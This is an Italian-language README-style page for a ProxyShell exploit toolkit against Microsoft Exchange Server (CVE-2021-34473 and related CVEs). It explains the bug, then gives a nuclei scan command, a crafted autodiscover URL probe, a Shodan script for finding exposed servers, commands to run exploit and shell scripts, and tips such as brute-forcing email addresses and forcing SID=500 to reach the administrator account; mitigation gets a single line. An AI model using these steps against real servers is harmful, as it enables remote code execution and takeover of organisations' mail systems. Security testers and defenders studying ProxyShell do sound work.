ProxyShell (CVE-2021-34473)

CVE-2021-34473 Vulnerabilità di esecuzione remota di codice su Microsoft Exchange Server. Questa errata normalizzazione degli URL ci permette di accedere a un URL arbitrario del backend mentre siamo eseguiti come account macchina del server Exchange. Sebbene questo bug non sia potente come l'SSRF in ProxyLogon, e potessimo manipolare solo la parte del percorso dell'URL, è comunque abbastanza potente per condurre ulteriori attacchi con accesso arbitrario al backend.

CVE-2021-34523 - Elevazione dei privilegi del backend PowerShell di Exchange
CVE-2021-31207 - Scrittura arbitraria di file dopo l'autenticazione

Scanner

Scanner nuclei per ProxyShell RCE (CVE-2021-34423, CVE-2021-34473, CVE-2021-31207) scoperto da orange tsai al Pwn2Own, che colpisce Microsoft Exchange Server.

nuclei -u target.com -t proxyshell.yaml

https://xxx.xxx.xxx.xxx/autodiscover/[email protected]/mapi/nspi/?&Email=autodiscover/autodiscover.json%[email protected]

Ricerca tramite Shodan

sudo python3 shodan-query.py

Utilizzo

sudo python3 ProxyShell.py -u https://<IP>

Caratteristiche

Non è necessario fornire un indirizzo email
Tenta di enumerare le email da Active Directory
Tenta di enumerare i LegacyDN da Active Directory
Tenta di scoprire i LegacyDN da email integrate
Tenta di scoprire il SID del server Exchange in distribuzioni con bilanciamento del carico
Gestisce lo sfruttamento in ambienti con bilanciamento del carico

Test manuale

 python2 /manual/check.py 
 sudo python3 /manual/proxyshell.py
 python2 /manual/shell.py

Suggerimenti:

Riconoscere il target per trovare un indirizzo email valido
Se non trovi alcuna email, usa la forza bruta sul target con il tuo file di email
In alcuni target l'exploit automatico non funziona; dovresti forzare il SID e sostituirlo con SID=500

Mitigazioni

Applica gli aggiornamenti di sicurezza disponibili qui: CVE-2021-34473

ProxyShell

Più Popolari